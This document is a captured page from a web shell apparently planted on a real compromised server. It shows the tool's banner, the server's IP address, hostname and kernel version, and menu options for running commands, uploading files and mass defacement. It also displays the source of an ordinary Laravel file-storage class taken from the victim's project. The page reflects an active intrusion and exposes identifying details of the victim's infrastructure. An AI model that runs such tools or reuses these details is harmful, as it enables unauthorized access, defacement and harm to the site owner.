���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
modules
/
File
/
Services
/
Viewing: StorageManager.php
<?php namespace Modules\File\Services; use Illuminate\Http\UploadedFile; use Illuminate\Support\Facades\Storage; class StorageManager { public string $disk = ''; public function putFile(string $name, $file, string $path) { return Storage::disk($this->disk)->put($path . DIRECTORY_SEPARATOR . $name, $file); } // public function putFileAsPrivate(string $name, UploadedFile $file, string $path) // { // return Storage::disk('private')->putFileAs($path, $file, $name); // } // public function putFileAsPublic(string $name, UploadedFile $file, string $path) // { // return Storage::disk('test')->putFileAs($path, $file, $name); // } public function getAbsolutePathOfFile(string $name, string $path, bool $is_private) { // return $this->disk($is_private)->path($this->directoryPrefix($path, $name)); return $this->disk()->path($this->directoryPrefix($path, $name)); } public function disk(bool $is_private = false) { // return Storage::disk($is_private ? 'private' : 'test'); return Storage::disk($this->disk); } public function isFileExists(string $name, string $path, bool $is_private) { return $this->disk($is_private)->exists($this->directoryPrefix($path, $name)); } public function directoryPrefix($path, $name) { return $path . DIRECTORY_SEPARATOR . $name; } public function getFile(string $name, string $path, bool $is_private) { return $this->disk($is_private)->download($this->directoryPrefix($path, $name)); } public function deleteFile(string $name, string $path, bool $is_private) { return $this->disk($is_private)->delete($this->directoryPrefix($path, $name)); } public function setDisk(string $disk) { $this->disk = $disk; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa